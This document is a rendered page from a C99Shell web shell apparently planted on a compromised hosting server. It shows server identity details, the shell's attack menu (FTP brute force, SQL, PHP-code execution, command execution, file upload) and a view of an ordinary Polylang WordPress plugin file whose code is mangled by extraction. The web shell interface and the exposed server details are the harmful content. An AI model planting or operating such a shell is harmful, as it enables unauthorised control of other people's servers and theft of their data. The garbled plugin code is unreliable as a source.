!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/modules/plugins/   drwxr-xr-x
Free 179.64 GB of 490.84 GB (36.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     plugins-compat.php (25.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Manages compatibility with 3rd party plugins ( and themes )
 * This class is available as soon as the plugin is loaded
 *
 * @since 1.0
 */
class PLL_Plugins_Compat {
    static protected 
$instance// for singleton

    /**
     * Constructor
     *
     * @since 1.0
     */
    
protected function __construct() {
        
// WordPress Importer
        
add_action'init', array( $this'maybe_wordpress_importer' ) );
        
add_filter'wp_import_terms', array( $this'wp_import_terms' ) );

        
// YARPP
        
add_action'init', array( $this'yarpp_init' ) ); // after Polylang has registered its taxonomy in setup_theme

        // Yoast SEO
        
add_action'pll_language_defined', array( $this'wpseo_init' ) );

        
// Custom field template
        
add_action'add_meta_boxes', array( $this'cft_copy' ), 10);

        
// Aqua Resizer
        
add_filter'pll_home_url_black_list', array( $this'aq_home_url_black_list' ) );

        
// Twenty Fourteen
        
add_filter'transient_featured_content_ids', array( $this'twenty_fourteen_featured_content_ids' ) );
        
add_filter'option_featured-content', array( $this'twenty_fourteen_option_featured_content' ) );

        
// Duplicate post
        
add_filter'option_duplicate_post_taxonomies_blacklist' , array( $this'duplicate_post_taxonomies_blacklist' ) );

        
// Jetpack 3
        
add_action'init', array( $this'jetpack_init' ) );
        
add_action'jetpack_widget_get_top_posts', array( $this'jetpack_widget_get_top_posts' ), 10);
        
add_filter'grunion_contact_form_field_html', array( $this'grunion_contact_form_field_html_filter' ), 10);
        
add_filter'jetpack_open_graph_tags', array( $this'jetpack_ogp' ) );
        
add_filter'jetpack_relatedposts_filter_filters', array( $this'jetpack_relatedposts_filter_filters' ), 10);

        
// Jetpack infinite scroll
        
if ( ! defined'PLL_AJAX_ON_FRONT' ) && isset( $_GET['infinity'], $_POST['action'] ) && 'infinite_scroll' == $_POST['action'] ) {
            
define'PLL_AJAX_ON_FRONT'true );
        }

        
// WP Sweep
        
add_filter'wp_sweep_excluded_taxonomies', array( $this'wp_sweep_excluded_taxonomies' ) );

        
// Twenty Seventeen
        
add_action'init', array( $this'twenty_seventeen_init' ) );

        
// No category base (works for Yoast SEO too)
        
add_filter'get_terms_args', array( $this'no_category_base_get_terms_args' ), ); // Before adding cache domain
    
}

    
/**
     * Access to the single instance of the class
     *
     * @since 1.7
     *
     * @return object
     */
    
static public function instance() {
        if ( empty( 
self::$instance ) ) {
            
self::$instance = new self();
        }

        return 
self::$instance;
    }

    
/**
     * WordPress Importer
     * If WordPress Importer is active, replace the wordpress_importer_init function
     *
     * @since 1.2
     */
    
function maybe_wordpress_importer() {
        if ( 
defined'WP_LOAD_IMPORTERS' ) && class_exists'WP_Import' ) ) {
            
remove_action'admin_init''wordpress_importer_init' );
            
add_action'admin_init', array( $this'wordpress_importer_init' ) );
        }
    }

    
/**
     * WordPress Importer
     * Loads our child class PLL_WP_Import instead of WP_Import
     *
     * @since 1.2
     */
    
function wordpress_importer_init() {
        
$class = new ReflectionClass'WP_Import' );
        
load_plugin_textdomain'wordpress-importer'falsebasenamedirname$class->getFileName() ) ) . '/languages' );

        
$GLOBALS['wp_import'] = new PLL_WP_Import();
        
register_importer'wordpress''WordPress'__'Import <strong>posts, pages, comments, custom fields, categories, and tags</strong> from a WordPress export file.''wordpress-importer' ), array( $GLOBALS['wp_import'], 'dispatch' ) );
    }

    
/**
     * WordPress Importer
     * Backward Compatibility Polylang < 1.8
     * Sets the flag when importing a language and the file has been exported with Polylang < 1.8
     *
     * @since 1.8
     *
     * @param array $terms an array of arrays containing terms information form the WXR file
     * @return array
     */
    
function wp_import_terms$terms ) {
        include 
PLL_SETTINGS_INC '/languages.php';

        foreach ( 
$terms as $key => $term ) {
            if ( 
'language' === $term['term_taxonomy'] ) {
                
$description maybe_unserialize$term['term_description'] );
                if ( empty( 
$description['flag_code'] ) && isset( $languages$description['locale'] ] ) ) {
                    
$description['flag_code'] = $languages$description['locale'] ][4];
                    
$terms$key ]['term_description'] = serialize$description );
                }
            }
        }
        return 
$terms;
    }

    
/**
     * YARPP
     * Just makes YARPP aware of the language taxonomy ( after Polylang registered it )
     *
     * @since 1.0
     */
    
public function yarpp_init() {
        
$GLOBALS['wp_taxonomies']['language']->yarpp_support 1;
    }

    
/**
     * Yoast SEO
     * Translate options and add specific filters and actions
     *
     * @since 1.6.4
     */
    
public function wpseo_init() {
        if ( ! 
defined'WPSEO_VERSION' ) ) {
            return;
        }

        if ( ! 
PLL() instanceof PLL_Frontend ) {
            
add_action'admin_init', array( $this'wpseo_register_strings' ) );
            return;
        }

        
add_filter'option_wpseo_titles', array( $this'wpseo_translate_titles' ) );

        
// Reloads options once the language has been defined to enable translations
        // Useful only when the language is set from content
        
if ( did_action'wp_loaded' ) ) {
            if ( 
version_compareWPSEO_VERSION'1.7.2''<' ) ) {
                global 
$wpseo_front;
            } else {
                
$wpseo_front WPSEO_Frontend::get_instance();
            }

            
$options version_compareWPSEO_VERSION'1.5''<' ) ? get_wpseo_options_arr() : WPSEO_Options::get_option_names();
            foreach ( 
$options as $opt ) {
                
$wpseo_front->options array_merge$wpseo_front->options, (array) get_option$opt ) );
            }
        }

        
// Filters sitemap queries to remove inactive language or to get
        // one sitemap per language when using multiple domains or subdomains
        // because WPSEO does not accept several domains or subdomains in one sitemap
        
add_filter'wpseo_posts_join', array( $this'wpseo_posts_join' ), 10);
        
add_filter'wpseo_posts_where', array( $this'wpseo_posts_where' ), 10);
        
add_filter'wpseo_typecount_join', array( $this'wpseo_posts_join' ), 10);
        
add_filter'wpseo_typecount_where', array( $this'wpseo_posts_where' ), 10);

        if ( 
PLL()->options['force_lang'] > ) {
            
add_filter'wpseo_enable_xml_sitemap_transient_caching''__return_false' ); // Disable cache! otherwise WPSEO keeps only one domain (thanks to Junaid Bhura)
            
add_filter'home_url', array( $this'wpseo_home_url' ) , 10); // Fix home_url
        
} else {
            
// Get all terms in all languages when the language is set from the content or directory name
            
add_filter'get_terms_args', array( $this'wpseo_remove_terms_filter' ) );

            
// Add the homepages for all languages to the sitemap when the front page displays posts
            
if ( ! get_option'page_on_front' ) ) {
                
add_filter'wpseo_sitemap_post_content', array( $this'add_language_home_urls' ) );
            }
        }

        
add_filter'pll_home_url_white_list', array( $this'wpseo_home_url_white_list' ) );
        
add_action'wpseo_opengraph', array( $this'wpseo_ogp' ), );
        
add_filter'wpseo_canonical', array( $this'wpseo_canonical' ) );
    }

    
/**
     * Yoast SEO
     * Registers strings for custom post types and custom taxonomies titles and meta descriptions
     *
     * @since 2.0
     */
    
function wpseo_register_strings() {
        
$options get_option'wpseo_titles' );
        foreach ( 
get_post_types( array( 'public' => true'_builtin' => false ) ) as $t ) {
            if ( 
pll_is_translated_post_type$t ) && ! empty( $options'title-' $t ] ) ) {
                
pll_register_string'title-' $t$options'title-' $t ], 'wordpress-seo' );
                
pll_register_string'metadesc-' $t$options'metadesc-' $t ], 'wordpress-seo' );
            }
        }
        foreach ( 
get_post_types( array( 'has_archive' => true'_builtin' => false ) ) as $t ) {
            if ( 
pll_is_translated_post_type$t ) && ! empty( $options'title-ptarchive-' $t ] ) ) {
                
pll_register_string'title-ptarchive-' $t$options'title-ptarchive-' $t ], 'wordpress-seo' );
                
pll_register_string'metadesc-ptarchive-' $t$options'metadesc-ptarchive-' $t ], 'wordpress-seo' );
                
pll_register_string'bctitle-ptarchive-' $t$options'bctitle-ptarchive-' $t ], 'wordpress-seo' );
            }
        }
        foreach ( 
get_taxonomies( array( 'public' => true'_builtin' => false ) ) as $t ) {
            if ( 
pll_is_translated_taxonomy$t ) && ! empty( $options'title-tax-' $t ] ) ) {
                
pll_register_string'title-tax-' $t$options'title-tax-' $t ], 'wordpress-seo' );
                
pll_register_string'metadesc-tax-' $t$options'metadesc-tax-' $t ], 'wordpress-seo' );
            }
        }
    }

    
/**
     * Yoast SEO
     * Translates strings for custom post types and custom taxonomies titles and meta descriptions
     *
     * @since 2.0
     *
     * @param array $options
     * @return array
     */
    
function wpseo_translate_titles$options ) {
        if ( 
PLL() instanceof PLL_Frontend ) {
            foreach ( 
get_post_types( array( 'public' => true'_builtin' => false ) ) as $t ) {
                if ( 
pll_is_translated_post_type$t ) && ! empty( $options'title-' $t ] ) ) {
                    
$options'title-' $t ] = pll__$options'title-' $t ] );
                    
$options'metadesc-' $t ] = pll__$options'metadesc-' $t ] );
                }
            }
            foreach ( 
get_post_types( array( 'has_archive' => true'_builtin' => false ) ) as $t ) {
                if ( 
pll_is_translated_post_type$t ) && ! empty( $options'title-ptarchive-' $t ] ) ) {
                    
$options'title-ptarchive-' $t ] = pll__$options'title-ptarchive-' $t ] );
                    
$options'metadesc-ptarchive-' $t ] = pll__$options'metadesc-ptarchive-' $t ] );
                    
$options'bctitle-ptarchive-' $t ] = pll__$options'bctitle-ptarchive-' $t ] );
                }
            }
            foreach ( 
get_taxonomies( array( 'public' => true'_builtin' => false ) ) as $t ) {
                if ( 
pll_is_translated_taxonomy$t ) && ! empty( $options'title-tax-' $t ] ) ) {
                    
$options'title-tax-' $t ] = pll__$options'title-tax-' $t ] );
                    
$options'metadesc-tax-' $t ] = pll__$options'metadesc-tax-' $t ] );
                }
            }
        }
        return 
$options;
    }

    
/**
     * Yoast SEO
     * Fixes the home url as well as the stylesheet url
     * Only when using multiple domains or subdomains
     *
     * @since 1.6.4
     *
     * @param string $url
     * @return $url
     */
    
public function wpseo_home_url$url$path ) {
        
$uri = empty( $path ) ? ltrim$_SERVER['REQUEST_URI'], '/' ) : $path;

        if ( 
'sitemap_index.xml' === $uri || preg_match'#([^/]+?)-sitemap([0-9]+)?\.xml|([a-z]+)?-?sitemap\.xsl#'$uri ) ) {
            
$url PLL()->links_model->switch_language_in_link$urlPLL()->curlang );
        }

        return 
$url;
    }

    
/**
     * Yoast SEO
     * Get active languages for the sitemaps
     *
     * @since 2.0
     *
     * @return array list of active language slugs, empty if all languages are active
     */
    
protected function wpseo_get_active_languages() {
        
$languages PLL()->model->get_languages_list();
        if ( 
wp_list_filter$languages, array( 'active' => false ) ) ) {
            return 
wp_list_pluckwp_list_filter$languages, array( 'active' => false ), 'NOT' ), 'slug' );
        }
        return array();
    }

    
/**
     * Yoast SEO
     * Modifies the sql request for posts sitemaps
     * Only when using multiple domains or subdomains or if some languages are not active
     *
     * @since 1.6.4
     *
     * @param string $sql       JOIN clause
     * @param string $post_type
     * @return string
     */
    
public function wpseo_posts_join$sql$post_type ) {
        return 
pll_is_translated_post_type$post_type ) && ( PLL()->options['force_lang'] > || $this->wpseo_get_active_languages() ) ? $sqlPLL()->model->post->join_clause() : $sql;
    }

    
/**
     * Yoast SEO
     * Modifies the sql request for posts sitemaps
     * Only when using multiple domains or subdomains or if some languages are not active
     *
     * @since 1.6.4
     *
     * @param string $sql       WHERE clause
     * @param string $post_type
     * @return string
     */
    
public function wpseo_posts_where$sql$post_type ) {
        if ( 
pll_is_translated_post_type$post_type ) ) {
            if ( 
PLL()->options['force_lang'] > ) {
                return 
$sql PLL()->model->post->where_clausePLL()->curlang );
            }

            if ( 
$languages $this->wpseo_get_active_languages() ) {
                return 
$sql PLL()->model->post->where_clause$languages );
            }
        }
        return 
$sql;
    }

    
/**
     * Yoast SEO
     * Removes the language filter (and remove inactive languages) for the taxonomy sitemaps
     * Only when the language is set from the content or directory name
     *
     * @since 1.0.3
     *
     * @param array $args get_terms arguments
     * @return array modified list of arguments
     */
    
public function wpseo_remove_terms_filter$args ) {
        if ( isset( 
$GLOBALS['wp_query']->query['sitemap'] ) ) {
            
$args['lang'] = implode','$this->wpseo_get_active_languages() );
        }
        return 
$args;
    }

    
/**
     * Yoast SEO
     * Adds the home urls for all (active) languages to the sitemap
     *
     * @since 1.9
     *
     * @param string $str additional urls to sitemap post
     * @return string
     */
    
public function add_language_home_urls$str ) {
        global 
$wpseo_sitemaps;
        
$renderer version_compareWPSEO_VERSION'3.2''<' ) ? $wpseo_sitemaps $wpseo_sitemaps->renderer;

        
$languages wp_list_pluckwp_list_filterPLL()->model->get_languages_list() , array( 'active' => false ), 'NOT' ), 'slug' );

        foreach ( 
$languages as $lang ) {
            if ( empty( 
PLL()->options['hide_default'] ) || pll_default_language() !== $lang ) {
                
$str .= $renderer->sitemap_url( array(
                    
'loc' => pll_home_url$lang ),
                    
'pri' => 1,
                    
'chf' => apply_filters'wpseo_sitemap_homepage_change_freq''daily'pll_home_url$lang ) ),
                ) );
            }
        }
        return 
$str;
    }

    
/**
     * Yoast SEO
     *
     * @since 1.1.2
     *
     * @param array $arr
     * @return array
     */
    
public function wpseo_home_url_white_list$arr ) {
        return 
array_merge$arr, array( array( 'file' => 'wordpress-seo' ) ) );
    }

    
/**
     * Yoast SEO
     * Adds opengraph support for translations
     *
     * @since 1.6
     */
    
public function wpseo_ogp() {
        global 
$wpseo_og;

        
// WPSEO already deals with the locale
        
if ( did_action'pll_init' ) && method_exists$wpseo_og'og_tag' ) ) {
            foreach ( 
PLL()->model->get_languages_list() as $language ) {
                if ( 
$language->slug != PLL()->curlang->slug && PLL()->links->get_translation_url$language ) && $fb_locale self::get_fb_locale$language ) ) {
                    
$wpseo_og->og_tag'og:locale:alternate'$fb_locale );
                }
            }
        }
    }

    
/**
     * Yoast SEO
     * Fixes the canonical front page url as unlike WP, WPSEO does not add a trailing slash to the canonical front page url
     *
     * @since 1.7.10
     *
     * @param string $url
     * @return $url
     */
    
public function wpseo_canonical$url ) {
        return 
is_front_page$url ) && get_option'permalink_structure' ) ? trailingslashit$url ) : $url;
    }

    
/**
     * Aqua Resizer
     *
     * @since 1.1.5
     *
     * @param array $arr
     * @return array
     */
    
public function aq_home_url_black_list$arr ) {
        return 
array_merge$arr, array( array( 'function' => 'aq_resize' ) ) );
    }

    
/**
     * Custom field template
     * Custom field template does check $_REQUEST['post'] to populate the custom fields values
     *
     * @since 1.0.2
     *
     * @param string $post_type unused
     * @param object $post      current post object
     */
    
public function cft_copy$post_type$post ) {
        global 
$custom_field_template;
        if ( isset( 
$custom_field_template$_REQUEST['from_post'], $_REQUEST['new_lang'] ) && ! empty( $post ) ) {
            
$_REQUEST['post'] = $post->ID;
        }
    }

    
/**
     * Twenty Fourteen
     * Rewrites the function Featured_Content::get_featured_post_ids()
     *
     * @since 1.4
     *
     * @param array $ids featured posts ids
     * @return array modified featured posts ids ( include all languages )
     */
    
public function twenty_fourteen_featured_content_ids$featured_ids ) {
        if ( 
'twentyfourteen' != get_template() || ! did_action'pll_init' ) || false !== $featured_ids ) {
            return 
$featured_ids;
        }

        
$settings Featured_Content::get_setting();

        if ( ! 
$term wpcom_vip_get_term_by'name'$settings['tag-name'], 'post_tag' ) ) {
            return 
$featured_ids;
        }

        
// Get featured tag translations
        
$tags PLL()->model->term->get_translations$term->term_id );
        
$ids = array();

        
// Query for featured posts in all languages
        // One query per language to get the correct number of posts per language
        
foreach ( $tags as $tag ) {
            
$_ids get_posts( array(
                
'lang'        => 0// avoid language filters
                
'fields'      => 'ids',
                
'numberposts' => Featured_Content::$max_posts,
                
'tax_query'   => array( array(
                    
'taxonomy' => 'post_tag',
                    
'terms'    => (int) $tag,
                ) ),
            ) );

            
$ids array_merge$ids$_ids );
        }

        
$ids array_map'absint'$ids );
        
set_transient'featured_content_ids'$ids );

        return 
$ids;
    }

    
/**
     * Twenty Fourteen
     * Translates the featured tag id in featured content settings
     * Mainly to allow hiding it when requested in featured content options
     * Acts only on frontend
     *
     * @since 1.4
     *
     * @param array $settings featured content settings
     * @return array modified $settings
     */
    
public function twenty_fourteen_option_featured_content$settings ) {
        if ( 
'twentyfourteen' == get_template() && PLL() instanceof PLL_Frontend && $settings['tag-id'] && $tr pll_get_term$settings['tag-id'] ) ) {
            
$settings['tag-id'] = $tr;
        }

        return 
$settings;
    }

    
/**
     * Duplicate Post
     * Avoid duplicating the 'post_translations' taxonomy
     *
     * @since 1.8
     *
     * @param array $taxonomies
     * @return array
     */
    
function duplicate_post_taxonomies_blacklist$taxonomies ) {
        
$taxonomies[] = 'post_translations';
        return 
$taxonomies;
    }

    
/**
     * Jetpack
     * Add filters
     *
     * @since 2.1
     */
    
public function jetpack_init() {
        if ( ! 
defined'JETPACK__VERSION' ) ) {
            return;
        }

        
// Infinite scroll ajax url must be on the right domain
        
if ( did_action'pll_init' ) && PLL()->options['force_lang'] > ) {
            
add_filter'infinite_scroll_ajax_url', array( PLL()->links_model'site_url' ) );
            
add_filter'infinite_scroll_js_settings', array( $this'jetpack_infinite_scroll_js_settings' ) );
        }
    }

    
/**
     * Jetpack
     * Adapted from the same function in jetpack-3.0.2/3rd-party/wpml.php
     *
     * @since 1.5.4
     */
    
public function jetpack_widget_get_top_posts$posts$post_ids$count ) {
        foreach ( 
$posts as $k => $post ) {
            if ( 
pll_current_language() !== pll_get_post_language$post['post_id'] ) ) {
                unset( 
$posts$k ] );
            }
        }

        return 
$posts;
    }

    
/**
     * Jetpack
     * Adapted from the same function in jetpack-3.0.2/3rd-party/wpml.php
     * Keeps using 'icl_translate' as the function registers the string
     *
     * @since 1.5.4
     */
    
public function grunion_contact_form_field_html_filter$r$field_label$id ) {
        if ( 
function_exists'icl_translate' ) ) {
            if ( 
pll_current_language() !== pll_default_language() ) {
                
$label_translation icl_translate'jetpack '$field_label '_label'$field_label );
                
$r str_replace$field_label$label_translation$r );
            }
        }

        return 
$r;
    }

    
/**
     * Jetpack
     * Adds opengraph support for locale and translations
     *
     * @since 1.6
     *
     * @param array $tags opengraph tags to output
     * @return array
     */
    
public function jetpack_ogp$tags ) {
        if ( 
did_action'pll_init' ) ) {
            foreach ( 
PLL()->model->get_languages_list() as $language ) {
                if ( 
$language->slug != PLL()->curlang->slug && PLL()->links->get_translation_url$language ) && $fb_locale self::get_fb_locale$language ) ) {
                    
$tags['og:locale:alternate'][] = $fb_locale;
                }
                if ( 
$language->slug == PLL()->curlang->slug && $fb_locale self::get_fb_locale$language ) ) {
                    
$tags['og:locale'] = $fb_locale;
                }
            }
        }
        return 
$tags;
    }

    
/**
     * Jetpack
     * Allows to make sure that related posts are in the correct language
     *
     * @since 1.8
     *
     * @param array  $filters Array of ElasticSearch filters based on the post_id and args.
     * @param string $post_id Post ID of the post for which we are retrieving Related Posts.
     * @return array
     */
    
function jetpack_relatedposts_filter_filters$filters$post_id ) {
        
$slug sanitize_titlepll_get_post_language$post_id'name' ) );
        
$filters[] = array( 'term' => array( 'taxonomy.language.slug' => $slug ) );
        return 
$filters;
    }

    
/**
     * Jetpack
     * Fixes the settings history host for infinite scroll when using subdomains or multiple domains
     *
     * @since 2.1
     *
     * @param array $settings
     * @return array
     */
    
public function jetpack_infinite_scroll_js_settings$settings ) {
        
$settings['history']['host'] = parse_urlpll_home_url(), PHP_URL_HOST ); // Jetpack uses get_option( 'home' )
        
return $settings;
    }

    
/**
     * WP Sweep
     * Add 'term_language' and 'term_translations' to excluded taxonomies otherwise terms loose their language and translation group
     *
     * @since 2.0
     *
     * @param array $excluded_taxonomies list of taxonomies excluded from sweeping
     * @return array
     */
    
public function wp_sweep_excluded_taxonomies$excluded_taxonomies ) {
        return 
array_merge$excluded_taxonomies, array( 'term_language''term_translations' ) );
    }

    
/**
     * Twenty Seventeen
     * Translates the front page panels
     *
     * @since 2.0.10
     */
    
public function twenty_seventeen_init() {
        if ( 
'twentyseventeen' === get_template() && did_action'pll_init' ) && PLL() instanceof PLL_Frontend ) {
            
$num_sections twentyseventeen_panel_count();
            for ( 
$i 1$i < ( $num_sections ); $i++ ) {
                
add_filter'theme_mod_panel_' $i'pll_get_post' );
            }
        }
    }

    
/**
     * Make sure No category base plugins (including Yoast SEO) get all categories when flushing rules
     *
     * @since 2.1
     *
     * @param array $args
     * @return array
     */
    
public function no_category_base_get_terms_args$args ) {
        if ( 
doing_filter'category_rewrite_rules' ) ) {
            
$args['lang'] = '';
        }
        return 
$args;
    }

    
/**
     * Correspondance between WordPress locales and Facebook locales
     * @see https://translate.wordpress.org/
     * @see https://www.facebook.com/translations/FacebookLocales.xml
     *
     * @since 1.8.1 Update the list of locales
     * @since 1.6
     *
     * @param object $language
     * @return bool|string Facebook locale, false if no correspondance found
     */
    
static public function get_fb_locale$language ) {
        static 
$facebook_locales = array(
            
'af'           => 'af_ZA',
            
'ak'           => 'ak_GH',
            
'am'           => 'am_ET',
            
'ar'           => 'ar_AR',
            
'arq'          => 'ar_AR',
            
'ary'          => 'ar_AR',
            
'as'           => 'as_IN',
            
'az'           => 'az_AZ',
            
'bel'          => 'be_BY',
            
'bg_BG'        => 'bg_BG',
            
'bn_BD'        => 'bn_IN',
            
'bre'          => 'br_FR',
            
'bs_BA'        => 'bs_BA',
            
'ca'           => 'ca_ES',
            
'ceb'          => 'cx_PH',
            
'ckb'          => 'cb_IQ',
            
'co'           => 'co_FR',
            
'cs_CZ'        => 'cs_CZ',
            
'cy'           => 'cy_GB',
            
'da_DK'        => 'da_DK',
            
'de_CH'        => 'de_DE',
            
'de_DE'        => 'de_DE',
            
'de_DE_formal' => 'de_DE',
            
'el'           => 'el_GR',
            
'en_AU'        => 'en_US',
            
'en_CA'        => 'en_US',
            
'en_GB'        => 'en_GB',
            
'en_NZ'        => 'en_US',
            
'en_US'        => 'en_US',
            
'en_ZA'        => 'en_US',
            
'eo'           => 'eo_EO',
            
'es_AR'        => 'es_LA',
            
'es_CL'        => 'es_CL',
            
'es_CO'        => 'es_CO',
            
'es_MX'        => 'es_MX',
            
'es_PE'        => 'es_LA',
            
'es_ES'        => 'es_ES',
            
'es_VE'        => 'es_VE',
            
'et'           => 'et_EE',
            
'eu'           => 'eu_ES',
            
'fa_IR'        => 'fa_IR',
            
'fi'           => 'fi_FI',
            
'fo'           => 'fo_FO',
            
'fr_CA'        => 'fr_CA',
            
'fr_FR'        => 'fr_FR',
            
'fuc'          => 'ff_NG',
            
'fy'           => 'fy_NL',
            
'ga'           => 'ga_IE',
            
'gl_ES'        => 'gl_ES',
            
'gn'           => 'gn_PY',
            
'gu'           => 'gu_IN',
            
'he_IL'        => 'he_IL',
            
'hi_IN'        => 'hi_IN',
            
'hr'           => 'hr_HR',
            
'hu_HU'        => 'hu_HU',
            
'hy'           => 'hy_AM',
            
'id_ID'        => 'id_ID',
            
'is_IS'        => 'is_IS',
            
'it_IT'        => 'it_IT',
            
'ja'           => 'ja_JP',
            
'jv_ID'        => 'jv_ID',
            
'ka_GE'        => 'ka_GE',
            
'kin'          => 'rw_RW',
            
'kk'           => 'kk_KZ',
            
'km'           => 'km_kH',
            
'kn'           => 'kn_IN',
            
'ko_KR'        => 'ko_KR',
            
'ku'           => 'ku_TR',
            
'ky_KY'        => 'ky_KG',
            
'la'           => 'la_Va',
            
'li'           => 'li_NL',
            
'lin'          => 'ln_CD',
            
'lo'           => 'lo_LA',
            
'lt_LT'        => 'lt_LT',
            
'lv'           => 'lv_LV',
            
'mg_MG'        => 'mg_MG',
            
'mk_MK'        => 'mk_MK',
            
'ml_IN'        => 'ml_IN',
            
'mn'           => 'mn_MN',
            
'mr'           => 'mr_IN',
            
'mri'          => 'mi_NZ',
            
'ms_MY'        => 'ms_MY',
            
'my_MM'        => 'my_MM',
            
'ne_NP'        => 'ne_NP',
            
'nb_NO'        => 'nb_NO',
            
'nl_BE'        => 'nl_BE',
            
'nl_NL'        => 'nl_NL',
            
'nn_NO'        => 'nn_NO',
            
'ory'          => 'or_IN',
            
'pa_IN'        => 'pa_IN',
            
'pl_PL'        => 'pl_PL',
            
'ps'           => 'ps_AF',
            
'pt_BR'        => 'pt_BR',
            
'pt_PT'        => 'pt_PT',
            
'ps'           => 'ps_AF',
            
'ro_RO'        => 'ro_RO',
            
'roh'          => 'rm_CH',
            
'ru_RU'        => 'ru_RU',
            
'sa_IN'        => 'sa_IN',
            
'si_LK'        => 'si_LK',
            
'sk_SK'        => 'sk_SK',
            
'sl_SI'        => 'sl_SI',
            
'so_SO'        => 'so_SO',
            
'sq'           => 'sq_AL',
            
'sr_RS'        => 'sr_RS',
            
'srd'          => 'sc_IT',
            
'sv_SE'        => 'sv_SE',
            
'sw'           => 'sw_KE',
            
'szl'          => 'sz_PL',
            
'ta_LK'        => 'ta_IN',
            
'ta_IN'        => 'ta_IN',
            
'te'           => 'te_IN',
            
'tg'           => 'tg_TJ',
            
'th'           => 'th_TH',
            
'tl'           => 'tl_PH',
            
'tuk'          => 'tk_TM',
            
'tr_TR'        => 'tr_TR',
            
'tt_RU'        => 'tt_RU',
            
'tzm'          => 'tz_MA',
            
'uk'           => 'uk_UA',
            
'ur'           => 'ur_PK',
            
'uz_UZ'        => 'uz_UZ',
            
'vi'           => 'vi_VN',
            
'yor'          => 'yo_NG',
            
'zh_CN'        => 'zh_CN',
            
'zh_HK'        => 'zh_HK',
            
'zh_TW'        => 'zh_TW',
        );

        return isset( 
$facebook_locales$language->locale ] ) ? $facebook_locales$language->locale ] : false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0601 ]--